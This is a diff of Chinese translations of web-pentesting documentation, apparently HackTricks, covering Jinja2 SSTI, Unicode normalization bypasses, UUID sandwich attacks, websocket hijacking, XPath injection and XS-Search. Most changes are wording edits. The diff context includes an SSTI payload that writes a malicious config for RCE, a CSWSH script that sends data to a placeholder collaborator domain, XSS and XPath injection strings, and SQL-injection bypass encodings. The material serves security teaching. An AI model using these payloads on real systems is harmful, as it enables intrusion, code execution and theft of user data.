-然后，从这些对象中我们需要到达类：**`<class 'object'>`** 以尝试 **恢复** 定义的 **类**。这是因为从这个对象我们可以调用 **`__subclasses__`** 方法并 **访问所有非沙箱** 的 python 环境中的类。
+然后，从这些对象中我们需要到达类：**`<class 'object'>`** 以尝试 **恢复** 定义的 **类**。这是因为从这个对象我们可以调用 **`__subclasses__`** 方法并 **访问所有非沙箱** python 环境中的类。
 
 为了访问该 **对象类**，您需要 **访问一个类对象**，然后访问 **`__base__`**、**`__mro__()[-1]`** 或 **`.`**`mro()[-1]`**。然后，在到达这个 **对象类** 之后，我们 **调用** **`__subclasses__()`**。
 
@@ -128,7 +128,7 @@ dict.__mro__[-1]
 
 **恢复了** `<class 'object'>` 并调用了 `__subclasses__`，我们现在可以使用这些类来读取和写入文件以及执行代码。
 
-对 `__subclasses__` 的调用给了我们机会 **访问数百个新函数**，我们将仅通过访问 **文件类** 来 **读取/写入文件** 或任何可以访问 **允许执行命令** 的类（如 `os`）。
+对 `__subclasses__` 的调用给了我们机会 **访问数百个新函数**，我们只需访问 **文件类** 来 **读取/写入文件** 或任何可以访问 **允许执行命令** 的类（如 `os`）。
 
 **读取/写入远程文件**
 ```python
@@ -220,7 +220,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
 #will be
 <script>alert(1);</script>
 ```
-**通过编写恶意配置文件进行 RCE。**
+**通过编写恶意配置文件进行RCE。**
 ```python
 # evil config
 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
@@ -245,10 +245,10 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
 
 
 ```
-## Jinja 注入没有 **\<class 'object'>**
+## Jinja 注入而不使用 **\<class 'object'>**
 
-从 [**全局对象**](jinja2-ssti.md#accessing-global-objects) 有另一种方法可以到达 **RCE 而不使用该类。**\
-如果你设法从这些全局对象中获取到任何 **函数**，你将能够访问 **`__globals__.__builtins__`**，从那里 **RCE** 是非常 **简单** 的。
+从 [**全局对象**](jinja2-ssti.md#accessing-global-objects) 有另一种方法可以在 **不使用该类的情况下获得 RCE。**\
+如果你设法从这些全局对象中获取任何 **函数**，你将能够访问 **`__globals__.__builtins__`**，从那里获得 **RCE** 是非常 **简单** 的。
 
 你可以通过以下方式从 **`request`**、**`config`** 和任何 **其他** 有趣的 **全局对象** 中 **找到函数**：
 ```bash
@@ -294,7 +294,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
 ```
 ### Fuzzing WAF bypass
 
-**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具，但在真实场景中也可以用于暴力破解无效参数。该工具仅仅是喷洒单词和查询以检测过滤器，寻找绕过方法，并提供一个交互式控制台。
+**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具，但在真实场景中也可以用于暴力破解无效参数。该工具仅通过喷洒单词和查询来检测过滤器，寻找绕过方法，并提供交互式控制台。
 ```
 webui:
 As the name suggests, web UI
@@ -319,7 +319,7 @@ crack-request: Read a request file for attack
 Read the request in the file, PAYLOADreplace it with the actual payload and submit it
 The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
 ```
-## 参考
+## 参考文献
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
 - 查看 [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
diff --git a/src/pentesting-web/timing-attacks.md b/src/pentesting-web/timing-attacks.md
index 360eabaa6..aa149f571 100644
--- a/src/pentesting-web/timing-attacks.md
+++ b/src/pentesting-web/timing-attacks.md
@@ -9,18 +9,18 @@
 
 时序攻击的基本目标是通过**检查相似请求的响应时间差异**来回答复杂问题或检测隐藏功能。
 
-传统上，由于网络和服务器引入的延迟和抖动，这一直非常复杂。然而，自从发现和改进了[**竞争条件单包攻击**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization)后，可以使用此技术将所有网络延迟噪声从方程中去除。\
+传统上，这一直非常复杂，因为网络和服务器引入的延迟和抖动。然而，自从发现和改进了[**Race Condition Single Packet attack**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization)后，可以使用此技术将所有网络延迟噪声从方程中去除。\
 只留下**服务器延迟**使得时序攻击更容易被发现和利用。
 
 ## Discoveries
 
 ### Hidden Attack Surface
 
-在博客文章中提到，使用此技术可以找到隐藏参数甚至头部，只需检查每当参数或头部在请求中存在时，**时间差约为5毫秒**。实际上，这种发现技术已被添加到Burp Suite的**Param Miner**中。
+在博客文章中提到，使用此技术可以找到隐藏参数甚至头部，只需检查每当参数或头部出现在请求中时，**时间差约为5毫秒**。实际上，这种发现技术已被添加到Burp Suite的**Param Miner**中。
 
 这些时间差可能是因为**DNS请求**被执行，某些**日志被写入**因为无效输入，或者因为在请求中存在参数时执行了一些**检查**。
 
-在执行这种攻击时需要记住的一点是，由于表面的隐藏性质，您可能不知道时间差的实际原因是什么。
+在执行这种攻击时需要记住的一点是，由于表面的隐藏性质，您可能不知道时间差的实际原因。
 
 ### Reverse Proxy Misconfigurations
 
diff --git a/src/pentesting-web/unicode-injection/README.md b/src/pentesting-web/unicode-injection/README.md
index c38ffe08b..23ab4c596 100644
--- a/src/pentesting-web/unicode-injection/README.md
+++ b/src/pentesting-web/unicode-injection/README.md
@@ -23,13 +23,13 @@ Unicode字符通常用**`\u`前缀**表示。例如字符`㱋`是`\u3c4b`（[在
 如果后端存在漏洞，你可以使用此技术**注入任何类型的字符**。\
 查看[https://unicode-explorer.com/](https://unicode-explorer.com/)以找到你需要的字符。
 
-这个漏洞实际上来自一位研究人员发现的漏洞，想要更深入的解释请查看[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
+这个漏洞实际上来自于一位研究人员发现的漏洞，想要更深入的解释请查看[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
 
 ## Emoji注入
 
 后端在**接收表情符号**时表现得有些奇怪。这就是在[**这篇文章**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)中发生的情况，研究人员成功地通过一个有效载荷实现了XSS，例如：`💋img src=x onerror=alert(document.domain)//💛`
 
-在这种情况下，错误在于服务器在删除恶意字符后**将UTF-8字符串从Windows-1252转换为UTF-8**（基本上输入编码和转换编码不匹配）。然后这并没有给出一个正确的<，而只是一个奇怪的unicode字符：`‹`\
+在这种情况下，错误在于服务器在删除恶意字符后**将UTF-8字符串从Windows-1252转换为UTF-8**（基本上输入编码和转换编码不匹配）。然后这并没有给出一个正确的<，而是一个奇怪的unicode字符：`‹`\
 ``所以他们将这个输出**再次从UTF-8转换为ASCII**。这**规范化**了`‹`为`<`，这就是该系统上漏洞能够工作的方式。\
 发生的事情是：
 ```php
diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md
index b2cce5f2d..1489083fb 100644
--- a/src/pentesting-web/unicode-injection/unicode-normalization.md
+++ b/src/pentesting-web/unicode-injection/unicode-normalization.md
@@ -11,7 +11,7 @@ Unicode 规范化是一个确保字符的不同二进制表示标准化为相同
 1. **规范等价性**：如果字符在打印或显示时具有相同的外观和含义，则认为它们是规范等价的。
 2. **兼容等价性**：一种较弱的等价形式，其中字符可能表示相同的抽象字符，但可以以不同的方式显示。
 
-有 **四种 Unicode 规范化算法**：NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解，可以在 [Unicode.org](https://unicode.org/) 上探索这些技术。
+有 **四种 Unicode 规范化算法**：NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解这些技术，可以在 [Unicode.org](https://unicode.org/) 上进行探索。
 
 ### 关于 Unicode 编码的关键点
 
@@ -41,7 +41,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
 
 ### **SQL 注入过滤器绕过**
 
-想象一个网页，它使用字符 `'` 来创建带有用户输入的 SQL 查询。这个网页作为安全措施，**删除** 用户输入中所有出现的字符 **`'`**，但 **在删除之后** 和 **在创建** 查询之前，它 **使用 Unicode** 对用户的输入进行 **规范化**。
+想象一个网页，它使用字符 `'` 来创建带有用户输入的 SQL 查询。这个网页作为安全措施，**删除** 用户输入中所有出现的字符 **`'`**，但 **在删除之后** 和 **创建查询之前**，它 **使用 Unicode 规范化** 用户的输入。
 
 然后，一个恶意用户可以插入一个不同的 Unicode 字符，等同于 `' (0x27)`，如 `%ef%bc%87`，当输入被规范化时，会创建一个单引号，从而出现 **SQL 注入漏洞**：
 
@@ -54,9 +54,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
 - `1` -- %c2%b9
 - `=` -- %e2%81%bc
 - `/` -- %ef%bc%8f
-- `-`-- %ef%b9%a3
-- `#`-- %ef%b9%9f
-- `*`-- %ef%b9%a1
+- `-` -- %ef%b9%a3
+- `#` -- %ef%b9%9f
+- `*` -- %ef%b9%a1
 - `'` -- %ef%bc%87
 - `"` -- %ef%bc%82
 - `|` -- %ef%bd%9c
@@ -77,9 +77,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
 
 {% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
 
-### XSS (跨站脚本攻击)
+### XSS（跨站脚本攻击）
 
-您可以使用以下字符之一来欺骗 web 应用程序并利用 XSS：
+您可以使用以下字符之一来欺骗 webapp 并利用 XSS：
 
 ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
 
@@ -89,7 +89,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
 
 ### 模糊测试正则表达式
 
-当后端 **使用正则表达式检查用户输入** 时，**输入** 可能会为 **正则表达式** 进行 **规范化**，但 **不** 会为其 **使用** 的地方进行 **规范化**。例如，在开放重定向或 SSRF 中，正则表达式可能会 **规范化发送的 URL**，但随后 **按原样访问**。
+当后端 **检查用户输入的正则表达式** 时，可能会出现 **输入** 被 **规范化** 以适应 **正则表达式**，但 **未** 被 **用于** 的情况。例如，在开放重定向或 SSRF 中，正则表达式可能会 **规范化发送的 URL**，但随后 **按原样访问**。
 
 工具 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* 允许 **生成输入的变体** 以模糊测试后端。有关更多信息，请查看 **github** 和这篇 [**文章**](https://0xacb.com/2022/11/21/recollapse/)。
 
diff --git a/src/pentesting-web/uuid-insecurities.md b/src/pentesting-web/uuid-insecurities.md
index a6793a9ce..ee58405c7 100644
--- a/src/pentesting-web/uuid-insecurities.md
+++ b/src/pentesting-web/uuid-insecurities.md
@@ -4,9 +4,9 @@
 
 ## 基本信息
 
-通用唯一标识符 (UUID) 是 **用于唯一标识计算机系统中信息的 128 位数字**。UUID 在需要唯一标识符而无需中央协调的应用程序中至关重要。它们通常用作数据库键，并可以引用各种元素，如文档和会话。
+通用唯一标识符 (UUID) 是 **用于唯一标识计算机系统中信息的 128 位数字**。在需要唯一标识符而无需中央协调的应用程序中，UUID 是必不可少的。它们通常用作数据库键，并可以引用各种元素，如文档和会话。
 
-UUID 旨在是唯一的，并且 **难以猜测**。它们以特定格式结构化，分为五组，表示为 32 个十六进制数字。UUID 有不同的版本，每个版本服务于不同的目的：
+UUID 旨在唯一且 **难以猜测**。它们以特定格式结构化，分为五组，表示为 32 个十六进制数字。UUID 有不同的版本，每个版本服务于不同的目的：
 
 - **UUID v1** 是基于时间的，包含时间戳、时钟序列和节点 ID（MAC 地址），但可能会暴露系统信息。
 - **UUID v2** 类似于 v1，但包含针对本地域的修改（使用不广泛）。
@@ -36,9 +36,9 @@ UUID 旨在是唯一的，并且 **难以猜测**。它们以特定格式结构
 
 2. **执行**：
 
-- 攻击者为他们的第一个帐户（\`attacker1@acme.com\`）触发密码重置，并收到一个带有 UUID 的密码重置链接，比如 \`99874128-7592-11e9-8201-bb2f15014a14\`。
+- 攻击者为第一个帐户（\`attacker1@acme.com\`）触发密码重置，并收到一个带有 UUID 的密码重置链接，例如 \`99874128-7592-11e9-8201-bb2f15014a14\`。
 - 紧接着，攻击者为受害者的帐户（\`victim@acme.com\`）触发密码重置，然后迅速为第二个攻击者控制的帐户（\`attacker2@acme.com\`）触发。
-- 攻击者收到第二个帐户的重置链接，带有 UUID，比如 \`998796b4-7592-11e9-8201-bb2f15014a14\`。
+- 攻击者收到第二个帐户的重置链接，UUID 为 \`998796b4-7592-11e9-8201-bb2f15014a14\`。
 
 3. **分析**：
 
@@ -47,18 +47,18 @@ UUID 旨在是唯一的，并且 **难以猜测**。它们以特定格式结构
 4. **暴力攻击**：
 
 - 攻击者使用工具生成这两个值之间的 UUID，并通过尝试访问密码重置链接（例如 \`https://www.acme.com/reset/\<generated-UUID>\`）来测试每个生成的 UUID。
-- 如果 web 应用程序没有充分限制速率或阻止此类尝试，攻击者可以迅速测试范围内的所有可能 UUID。
+- 如果 web 应用程序没有充分限制速率或阻止此类尝试，攻击者可以快速测试范围内的所有可能 UUID。
 
 5. **获得访问权限**：
 
-- 一旦发现受害者密码重置链接的正确 UUID，攻击者可以重置受害者的密码并获得未授权访问其帐户的权限。
+- 一旦发现受害者密码重置链接的正确 UUID，攻击者就可以重置受害者的密码并获得未授权访问其帐户的权限。
 
 ### 工具
 
 - 您可以使用工具自动执行三明治攻击：[**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
 - 您可以使用扩展 [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248) 在 Burp Suite 中检测这些类型的 UUID。
 
-## 参考
+## 参考文献
 
 - [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/)
 
diff --git a/src/pentesting-web/web-vulnerabilities-methodology.md b/src/pentesting-web/web-vulnerabilities-methodology.md
index c38743ea3..7bd5e4002 100644
--- a/src/pentesting-web/web-vulnerabilities-methodology.md
+++ b/src/pentesting-web/web-vulnerabilities-methodology.md
@@ -71,7 +71,7 @@ pocs-and-polygloths-cheatsheet/
 
 ### **HTTP Headers**
 
-根据 Web 服务器提供的 HTTP 头，可能存在某些漏洞。
+根据 Web 服务器提供的 HTTP 头，某些漏洞可能存在。
 
 - [ ] [**Clickjacking**](clickjacking.md)
 - [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
@@ -103,7 +103,7 @@ pocs-and-polygloths-cheatsheet/
 
 ### Files
 
-允许上传文件的功能可能会存在多种问题。\
+允许上传文件的功能可能会受到多种问题的影响。\
 生成包含用户输入的文件的功能可能会执行意外代码。\
 打开用户上传的文件或自动生成的包含用户输入的文件的用户可能会受到威胁。
 
diff --git a/src/pentesting-web/web-vulnerabilities-methodology/README.md b/src/pentesting-web/web-vulnerabilities-methodology/README.md
index 2b917a693..aa52b0a5c 100644
--- a/src/pentesting-web/web-vulnerabilities-methodology/README.md
+++ b/src/pentesting-web/web-vulnerabilities-methodology/README.md
@@ -7,7 +7,7 @@
 ## Proxies
 
 > [!NOTE]
-> 现在的 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**，这些代理可能被（滥）用来利用漏洞。这些漏洞需要一个脆弱的代理存在，但它们通常还需要后端的某些额外漏洞。
+> 现在的 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**，这些可能被（滥）用来利用漏洞。这些漏洞需要一个脆弱的代理存在，但它们通常还需要后端的某些额外漏洞。
 
 - [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
 - [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
@@ -71,7 +71,7 @@
 
 ### **HTTP Headers**
 
-根据 Web 服务器提供的 HTTP 头，某些漏洞可能存在。
+根据 Web 服务器提供的 HTTP 头，可能存在某些漏洞。
 
 - [ ] [**Clickjacking**](../clickjacking.md)
 - [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
@@ -103,7 +103,7 @@
 
 ### Files
 
-允许上传文件的功能可能会面临多种问题。\
+允许上传文件的功能可能会存在多种问题。\
 生成包含用户输入的文件的功能可能会执行意外代码。\
 打开用户上传的文件或自动生成的包含用户输入的文件的用户可能会受到威胁。
 
diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md
index 5b3a56216..41a46992d 100644
--- a/src/pentesting-web/websocket-attacks.md
+++ b/src/pentesting-web/websocket-attacks.md
@@ -56,8 +56,8 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
 ```
 ### MitM websocket 连接
 
-如果你发现客户端从你当前的本地网络连接到一个 **HTTP websocket**，你可以尝试进行一个 [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)来在客户端和服务器之间执行 MitM 攻击。\
-一旦客户端尝试连接，你可以使用：
+如果您发现客户端从您当前的本地网络连接到 **HTTP websocket**，您可以尝试进行 [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) 来在客户端和服务器之间执行 MitM 攻击。\
+一旦客户端尝试连接，您可以使用：
 ```bash
 websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 ```
@@ -70,7 +70,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 - **Burp Suite** 以与常规 HTTP 通信非常相似的方式支持 MitM websockets 通信。
 - [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite 扩展** 将允许您通过获取 **history**、设置 **interception rules**、使用 **match and replace** 规则、使用 **Intruder** 和 **AutoRepeater** 更好地管理 Burp 中的 Websocket 通信。
 - [**WSSiP**](https://github.com/nccgroup/wssip)**:** 代表 "**WebSocket/Socket.io Proxy**"，这个用 Node.js 编写的工具提供了一个用户界面来 **capture、intercept、send custom** 消息并查看客户端和服务器之间的所有 WebSocket 和 Socket.IO 通信。
-- [**wsrepl**](https://github.com/doyensec/wsrepl) 是一个专门为渗透测试设计的 **interactive websocket REPL**。它提供了一个界面来观察 **incoming websocket messages 和发送新消息**，并提供一个易于使用的框架来 **automating** 这种通信。&#x20;
+- [**wsrepl**](https://github.com/doyensec/wsrepl) 是一个专门为渗透测试设计的 **interactive websocket REPL**。它提供了一个接口来观察 **incoming websocket messages 和发送新消息**，并提供一个易于使用的框架来 **automating** 这种通信。&#x20;
 - [**https://websocketking.com/**](https://websocketking.com/) 是一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
 - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 在其他类型的通信/协议中，它提供了一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
 
@@ -80,15 +80,15 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 
 ## Cross-site WebSocket hijacking (CSWSH)
 
-**Cross-site WebSocket hijacking**，也称为 **cross-origin WebSocket hijacking**，被识别为影响 WebSocket 握手的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。当 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证，而没有 **CSRF tokens** 或类似的安全措施时，就会出现此漏洞。
+**Cross-site WebSocket hijacking**，也称为 **cross-origin WebSocket hijacking**，被识别为影响 WebSocket 握手的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。当 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证而没有 **CSRF tokens** 或类似的安全措施时，就会出现此漏洞。
 
-攻击者可以通过托管一个 **malicious web page** 来利用这一点，该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此，这个连接被视为受害者与应用程序的会话的一部分，利用会话处理机制中缺乏 CSRF 保护。
+攻击者可以通过托管一个 **malicious web page** 来利用这一点，该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此，这个连接被视为受害者与应用程序会话的一部分，利用会话处理机制中缺乏 CSRF 保护。
 
 ### Simple Attack
 
-请注意，当 **establishing** 一个 **websocket** 连接时，**cookie** 会被 **sent** 到服务器。**server** 可能会使用它来 **relate** 每个 **specific** **user** 与其基于发送的 cookie 的 **websocket** **session**。
+请注意，当 **establishing** 一个 **websocket** 连接时，**cookie** 会被 **sent** 到服务器。**server** 可能会使用它来 **relate** 每个 **specific** **user** 与其 **websocket** **session based on the sent cookie**。
 
-然后，如果 **例如** **websocket** **server** **发送回用户的对话历史**，如果发送了一个带有 "**READY"** 的消息，那么一个 **simple XSS** 建立连接（**cookie** 将 **automatically** 被 **sent** 以授权受害者用户） **sending** "**READY**" 将能够 **retrieve** 对话的 **history**。
+然后，如果 **例如** **websocket** **server** **发送回用户的对话历史**，如果发送了带有 "**READY"** 的消息，那么一个 **simple XSS** 建立连接（**cookie** 将 **sent** **automatically** 授权受害者用户） **sending** "**READY**" 将能够 **retrieve** 对话的 **history**。
 ```markup
 <script>
 websocket = new WebSocket('wss://your-websocket-URL')
@@ -105,7 +105,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
 ```
 ### 跨源 + 不同子域的 Cookie
 
-在这篇博客文章 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 中，攻击者成功地在进行 Websocket 通信的域的 **子域** 中 **执行了任意 Javascript**。因为这是一个 **子域**，所以 **cookie** 被 **发送**，而且因为 **Websocket 没有正确检查 Origin**，因此可以与其通信并 **窃取其中的令牌**。
+在这篇博客文章 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 中，攻击者成功地 **在进行 Websocket 通信的域的子域中执行了任意 Javascript**。因为这是一个 **子域**，**cookie** 被 **发送**，而且 **Websocket 没有正确检查 Origin**，因此可以与其通信并 **窃取其中的令牌**。
 
 ### 从用户那里窃取数据
 
@@ -144,7 +144,7 @@ WebSockets 中的竞争条件也是一个问题，[查看此信息以了解更
 
 ## **WebSocket 走私**
 
-此漏洞可能允许您 **绕过反向代理限制**，使其相信 **websocket 通信已建立**（即使这不是真的）。这可能允许攻击者 **访问隐藏的端点**。有关更多信息，请查看以下页面：
+此漏洞可能允许您 **绕过反向代理限制**，使其相信 **已建立 websocket 通信**（即使这不是真的）。这可能允许攻击者 **访问隐藏的端点**。有关更多信息，请查看以下页面：
 
 {{#ref}}
 h2c-smuggling.md
diff --git a/src/pentesting-web/xpath-injection.md b/src/pentesting-web/xpath-injection.md
index be08033fa..6d8a9eeba 100644
--- a/src/pentesting-web/xpath-injection.md
+++ b/src/pentesting-web/xpath-injection.md
@@ -32,7 +32,7 @@
 
 谓词用于细化选择：
 
-- **/bookstore/book\[1]**: 选择 bookstore 元素的第一个 book 元素子元素。对于 IE 版本 5 到 9 的变通方法是通过 JavaScript 将 SelectionLanguage 设置为 XPath，因为它将第一个节点索引为 \[0]。
+- **/bookstore/book\[1]**: 选择 bookstore 元素的第一个 book 元素子元素。对于 IE 版本 5 到 9 的解决方法是通过 JavaScript 将 SelectionLanguage 设置为 XPath，因为它将第一个节点索引为 \[0]。
 - **/bookstore/book\[last()]**: 选择 bookstore 元素的最后一个 book 元素子元素。
 - **/bookstore/book\[last()-1]**: 选择 bookstore 元素的倒数第二个 book 元素子元素。
 - **/bookstore/book\[position()<3]**: 选择 bookstore 元素的前两个 book 元素子元素。
@@ -53,7 +53,7 @@
 
 - **/bookstore/\***: 选择 bookstore 元素的所有子元素节点。
 - **//\***: 选择文档中的所有元素。
-- **//title\[@\*]**: 选择所有具有至少一个任意类型属性的 title 元素。
+- **//title\[@\*]**: 选择所有至少具有一个任意类型属性的 title 元素。
 
 ## 示例
 ```xml
@@ -156,7 +156,7 @@ string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/accou
 Select account
 Select the account using the username and use one of the previous values in the password field
 ```
-### **滥用空注入**
+### **滥用空值注入**
 ```
 Username: ' or 1]%00
 ```
diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md
index 743b38a40..9225f504b 100644
--- a/src/pentesting-web/xs-search.md
+++ b/src/pentesting-web/xs-search.md
@@ -13,16 +13,16 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息** 
 - **包含方法**：用于将易受攻击的网页纳入攻击者网站的技术（例如，window.open、iframe、fetch、带 href 的 HTML 标签等）。
 - **泄漏技术**：用于根据通过包含方法收集的信息来辨别易受攻击网页状态差异的技术。
 - **状态**：易受攻击网页的两种潜在条件，攻击者旨在区分。
-- **可检测差异**：攻击者依赖于的可观察变化，以推断易受攻击网页的状态。
+- **可检测差异**：攻击者依赖于可观察的变化来推断易受攻击网页的状态。
 
 ### 可检测差异
 
 可以分析多个方面以区分易受攻击网页的状态：
 
 - **状态码**：区分 **各种 HTTP 响应状态码** 跨源，如服务器错误、客户端错误或身份验证错误。
-- **API 使用**：识别 **跨页面的 Web API 使用**，揭示跨源页面是否使用特定的 JavaScript Web API。
-- **重定向**：检测导航到不同页面，不仅是 HTTP 重定向，还有由 JavaScript 或 HTML 触发的重定向。
-- **页面内容**：观察 **HTTP 响应体中的变化** 或页面子资源中的变化，例如 **嵌入框的数量** 或图像的大小差异。
+- **API 使用**：识别跨页面的 **Web API 使用情况**，揭示跨源页面是否使用特定的 JavaScript Web API。
+- **重定向**：检测导航到不同页面，不仅是 HTTP 重定向，还包括由 JavaScript 或 HTML 触发的重定向。
+- **页面内容**：观察 **HTTP 响应体中的变化** 或页面子资源中的变化，例如 **嵌入框架的数量** 或图像的大小差异。
 - **HTTP 头**：注意 **特定 HTTP 响应头** 的存在或可能的值，包括 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 等头。
 - **时间**：注意两个状态之间的一致时间差异。
 
@@ -40,11 +40,11 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息** 
 - **全局限制**：浏览器的物理限制，如内存容量或其他强制的浏览器限制，可以在达到阈值时发出信号，作为泄漏技术。
 - **全局状态**：可检测与浏览器 **全局状态**（例如，历史接口）的交互可以被利用。例如，浏览器历史中的 **条目数量** 可以提供有关跨源页面的线索。
 - **性能 API**：此 API 提供 **当前页面的性能细节**，包括文档和加载资源的网络时序，能够推断请求的资源。
-- **可读属性**：某些 HTML 属性是 **跨源可读** 的，可以用作泄漏技术。例如，`window.frame.length` 属性允许 JavaScript 计算跨源网页中包含的框架数量。
+- **可读属性**：某些 HTML 属性是 **跨源可读的**，可以用作泄漏技术。例如，`window.frame.length` 属性允许 JavaScript 计算跨源网页中包含的框架数量。
 
 ## XSinator 工具与论文
 
-XSinator 是一个自动工具，用于 **检查浏览器是否存在多种已知的 XS-Leaks**，详见其论文：[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
+XSinator 是一个自动化工具，用于 **检查浏览器是否存在多种已知的 XS-Leaks**，详见其论文：[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
 
 您可以 **访问该工具** [**https://xsinator.com/**](https://xsinator.com/)
 
@@ -136,7 +136,7 @@ xs-search/performance.now-+-force-heavy-task.md
 
 假设您可以**插入**包含**秘密**内容的**页面****在一个 Iframe** 中。
 
-您可以**让受害者搜索**包含“_**flag**_”的文件，使用**Iframe**（例如利用 CSRF）。在 Iframe 内，您知道 _**onload 事件**_ 将**至少执行一次**。然后，您可以**更改** **iframe** 的**URL**，但只更改 URL 中的**hash**内容。
+您可以**让受害者搜索**包含“_**flag**_”的文件，使用**Iframe**（例如，利用 CSRF）。在 Iframe 内，您知道 _**onload 事件**_ 将**至少执行一次**。然后，您可以**更改** **iframe** 的**URL**，但仅更改 URL 中的**hash**内容。
 
 例如：
 
@@ -228,7 +228,7 @@ xs-search/javascript-execution-xs-leak.md
 xs-search/event-loop-blocking-+-lazy-images.md
 {{#endref}}
 
-JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行，这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其代码在事件循环中的执行时间。这些事件将在事件池为空时处理。如果其他源也在向同一池调度事件，攻击者可以通过观察自己任务执行的延迟来推断这些外部事件执行所需的时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间，可能会暴露敏感信息。
+JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行，这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件，攻击者可以通过观察自己任务执行的延迟来推断这些外部事件执行所需的时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间，可能暴露敏感信息。
 
 > [!WARNING]
 > 在执行定时中，可以**消除** **网络因素**以获得**更精确的测量**。例如，通过在加载页面之前加载页面使用的资源。
@@ -238,10 +238,10 @@ JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/
 - **Inclusion Methods**:
 - **Detectable Difference**: 定时（通常由于页面内容、状态码）
